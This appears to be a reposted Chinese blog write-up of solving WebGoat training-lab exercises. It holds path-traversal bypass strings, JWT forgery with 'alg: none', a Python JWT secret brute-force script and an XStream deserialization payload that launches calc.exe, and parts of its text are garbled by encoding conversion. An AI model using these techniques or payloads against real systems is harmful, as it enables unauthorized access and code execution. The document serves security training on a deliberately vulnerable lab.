知識補充
Burpsuite Render在無法預(yù)覽顯示時,可以適當?shù)那謇砭彺?br>win10下輸入文字變成繁體解決
Javaweb安全之webGoat
webgoat靶場搭建
進行web漏洞實驗的Java靶場程序,用來說明web應(yīng)用中存在的安全漏洞。
下載文件(最新版本包含新的漏洞靶場):
https://github.com/WebGoat/WebGoat/releases/
https://github.com/WebGoat/WebGoat/releases/
執(zhí)行命令,開啟靶場:
java -jar webgoat-server-8.0.0.M17.jar [–server.port=8080] [–server.address=localhost]
java -jar webwolf-8.0.0.M17.jar
訪問鏈接:http://127.0.0.1:8080/WebGoat,自動跳轉(zhuǎn)login界面,注冊登錄。
其中webgoat用于進行WEB漏洞測試和學(xué)習(xí)的JAVA應(yīng)用程序,webwolf用于模擬攻擊者,其中提供了許多輔助攻擊者的工具
參考文章1
參考文章2
闖關(guān)
General
Basics HTTP基礎(chǔ)
- 隨便輸入字符串,經(jīng)過服務(wù)器就給你逆序,不過這個輸入框是存在xss的
- 就是逆序輸出
- 輸入框讓輸入POST或GET命令,輸入魔法數(shù)字,抓包
注 \color{red}{注} 注:這個數(shù)字是會變的,需要每次抓包觀察
Proxies HTTP代理
- 將參數(shù)輸入進去,進入
bp
,右鍵change method
Change the Method to GET
Add a header ‘x-request-intercepted:true’
Remove the request body and instead send ‘changeMe’ as a query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)
Then let the request continue through (by hitting the play button).
Developer Tools 開發(fā)者工具
- Using the console
在concle中輸入webgoat.customjs.phoneHome(),將隨機數(shù)粘貼進輸入框
6.?Working with the Network tab
在http請求的請求字段中包含一個networkNum字段,將隨機數(shù)復(fù)制上去
注 \color{red}{注} 注:想到為什么會在payload中才能看到這串數(shù)字
前后端聯(lián)調(diào)之Form Data與Request Payload,具體解釋說道:該字段的出現(xiàn)類型主要伴隨著Content-type
的出現(xiàn)而出現(xiàn)
Injection
Path traversal 路徑遍歷
攻擊者可以在其中訪問或存儲外部的文件和目錄 應(yīng)用程序的位置
解決問題:部分目錄不允許上傳可執(zhí)行文件,向上級目錄上傳
查看源碼:將jar寶解壓,用idea打開,尋找對應(yīng)的jar,添加道路,對源碼進行查看
- 要求上傳到
C:\Users\2han/.webgoat-2023.8/PathTraversal
位置,經(jīng)過抓包后發(fā)現(xiàn),其上傳位置包含了一個resign,所以要上傳到其上一級目錄。修改目標位置
@ResponseBody public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) { return super.execute(file, fullName); }
成功過關(guān) - 對上次實驗做了修復(fù),需要相同的結(jié)果,結(jié)果如下
第一行post到服務(wù)器端POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1
,查找該文件,進行了單層過濾替代。
雙寫繞過@ResponseBody public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) { return super.execute(file, fullName != null ? fullName.replace("../", "") : ""); }
- 一樣是將文件上傳到該位置,getOriginalFilename()得到上傳時的文件名,所以從文件名入手。
源碼@ResponseBody public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) { return super.execute(file, file.getOriginalFilename()); }
- 一樣的,直接看源碼
如果參數(shù)為null,或者不包含…或/,則進入下面的代碼;
獲取id,有id則賦值,若沒有id,則生成一個1~10的隨機數(shù)作為id;
catPicture是id后面加了.jpg;
若出現(xiàn)path-traversal-secret.jpg
參數(shù),返回ok。
開始嘗試,當傳入id=1,有返回
嘗試查找path-traversal-secret
,當有…/時會出現(xiàn)非法字符提示,嘗試使用反斜杠\仍舊無法繞過,使用%2e%2e%2f
進行繞過
總結(jié):
目錄遍歷雙寫…/繞過,雙寫繞過;
返回400,說明服務(wù)器后臺并未對目錄遍歷攻擊作任何限制,但是并沒有請求到資源;
GET 請求參數(shù)中不允許存在…與/時,通過 url 編碼繞過,%2e%2e%2f為. ./;
當服務(wù)器只允許獲取當前格式的資源時,使用空白字符繞過,%20,%2a;
當使用post傳參時,僅修改可變參數(shù)。
ldentity & Auth Failure
Authentication Bypasses 身份認證繞過
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
根據(jù)第一行數(shù)據(jù)可查找后臺代碼
身份認證:
認證問題答案,很多選項:
你叫什么名字等等…只有兩個問題(類似原來的qq密保類的東西)
接受鍵名和鍵值
s0=xiaodi&s1=湖北 正確
s3=null&s4=null發(fā)送數(shù)據(jù)
s3 s4為空,相當于NULL,那么就能進行繞過。
安全驗證:
固定接受的數(shù)據(jù):s0 s1判斷你的數(shù)據(jù) 正常
不固定:s0 s1 正常
不固定:s2 s3不在數(shù)據(jù)庫或者變量內(nèi),攻擊者就能測試。
URL觸發(fā)連接,訪問地址:auth-bypass/verify-account
JWT tokens
由三部分構(gòu)成,以.分隔,出現(xiàn)在cookie上
The token is base64 encoded and consists of three parts:
1.header是base64編碼后的頭部信息
{'typ': 'JWT','alg': 'HS256'}
定義了聲明token類型和簽名算法alg
2.payload是base編碼的載荷部分,用來包含用戶名,權(quán)限等數(shù)據(jù)
iss (issuer):簽發(fā)人
sub (subject):主題
aud (audience):受眾
exp (expiration time):過期時間
nbf (Not Before):生效時間,在此之前是無效的
iat (Issued At):簽發(fā)時間
jti (JWT ID):編號
-定義一個payload:{
"sub": "l3ife",
"name": "l3ife",
"iat": 888888}
對其進行base64加密,得到j(luò)wt的第二部分
eyJzdWIiOiJsM2lmZSIsIm5hbWUiOiJsM2lmZSIsImlhdCI6ODg4ODg4fQ
3.signature,把前兩段的base密文通過﹐拼接起來,然后對其進行HS256加密,再然后對 hs256密文進行base64url加密,最終得到token的第三段。
HS256加密:
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
RS256加密:
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)
解密平臺:https://jwt.io/
用戶在成功對服務(wù)器進行身份驗證時使用用戶名和密碼登錄返回。服務(wù)器創(chuàng)建一個新令牌,并將此令牌返回給客戶端。當客戶端連續(xù)調(diào)用服務(wù)器,它將新令牌附加到“Authorization”標頭中。 服務(wù)器讀取令牌并首先驗證簽名,驗證成功后,服務(wù)器使用令牌中用于標識用戶的信息。
-
用戶無法投票,只有成為管理員才可以投票,需要更改令牌成為管理員用戶,成了管理員用戶才可以重置投票
聲明加密方法為HS512,第二部分聲明用戶名和權(quán)限,可以看到管理員權(quán)限為false
將admin改為true,由于加密方法是HS512,且不知道秘鑰,所以只能將alg的值改為none,即無加密方法。
{
“alg”: “none”
}
{
“iat”: 1706459434,
“admin”: “true”,
“user”: “Tom”
}
11.? 暴力破解便有可能將密鑰解出。token:eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwNTYwNDg5NiwiZXhwIjoxNzA1NjA0OTU2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5aqiNb0jY1xvFycagd65E1eN0PsFhbgvhf8lBMXZTio
暴力破解import jwt import termcolor if __name__ == "__main__": jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MTg5Njc3MiwiZXhwIjoxNjQxODk2ODMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZaBAasksu_uUYloJwpaNwzRhpIaHNSSYxSANfmNZ1Rk' with open('top1000.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, algorithms=["HS256"],verify=True, key=key_) print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError: print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True) continue else: print('\r', '\bsorry! no key be found.') # bingo! found key --> victory <--
根據(jù)要求修改username為webgoat;將密鑰填進去;修改一下exp的時間戳,只要比當前時間晚就好。
13.? 之前的日志,找到一種方法去讓tom花錢訂購書,在日志中發(fā)現(xiàn)token
抓結(jié)賬的寶,修改jwt,exp為請求過期時間,加密方式使用none
參考鏈接
參考文章1
參考文章2
log4j2漏洞利用
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
JS項目&Node.JS框架安全
JavaScript語言可以通過其網(wǎng)站本身代碼檢查查看,等同于白盒測試
在Javascript中也存在變量和函數(shù),存在可控變量及函數(shù)調(diào)用,即參數(shù)漏洞
判斷是否為js代碼開發(fā)的web應(yīng)用
插件wappalyzer
源代碼簡短
引入多個js文件
一般有/static/js/app.js 等順序的js文件
cookie中有connect.sid
如何獲取更多的JS文件?
JsFinder
Packer-Fuzzer
掃描器后綴替換字典
快速獲取價值代碼?文章來源:http://www.zghlxwxcb.cn/news/detail-824554.html
method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget
參考文章文章來源地址http://www.zghlxwxcb.cn/news/detail-824554.html
到了這里,關(guān)于安全基礎(chǔ)~web攻防特性2的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!